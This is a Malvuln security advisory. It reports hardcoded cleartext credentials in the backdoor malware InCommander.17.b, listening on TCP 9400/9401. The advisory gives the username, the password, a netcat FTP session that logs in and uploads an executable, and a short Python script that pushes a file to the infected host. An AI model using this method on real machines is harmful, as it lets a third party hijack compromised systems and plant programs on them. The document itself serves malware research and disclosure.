Backdoor.Win32.InCommander.17.b MVID-2022-0665 Hardcoded Credentials

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/dd76d8a5874bf8bf05279e35c68449ca.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
Backup media: infosec.exchange/@malvuln  
  
Threat: Backdoor.Win32.InCommander.17.b  
Vulnerability: Hardcoded Cleartext Credentials  
Family: InCommander  
Type: PE32  
MD5: dd76d8a5874bf8bf05279e35c68449ca  
Vuln ID: MVID-2022-0665  
Dropped files: incsrv.exe  
Disclosure: 12/14/2022  
Description: The malware listens on TCP port 9400 and 9401 and requires authentication. However, the username "IncUser-b3" is stored in cleartext in a file named "incsrv.drv" under Windows dir. The password "InClientMainPassword" is also stored in cleartext but within the PE file "incsrv.exe" at offset 000958d0.  
  
Third-party adversaries may then upload thier own executables using ftp PASV, STOR commands.  
  
Exploit/PoC:  
C:\>nc64.exe 192.168.18.125 9401  
220 InCommad FTP Server ready.  
USER IncUser-b3  
331 Password required for IncUser-b3.  
PASS InClientMainPassword  
230 User IncUser-b3 logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
PASV  
227 Entering Passive Mode (192,168,18,125,241,155).  
CDUP \  
250 CWD command successful. "C:/" is current directory.  
STOR DOOM_SM.exe  
150 Opening data connection for DOOM_SM.exe.  
226 File received ok  
  
from socket import *  
  
MALWARE_HOST="192.168.18.125"  
PORT=61851  
DOOM="DOOM_SM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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`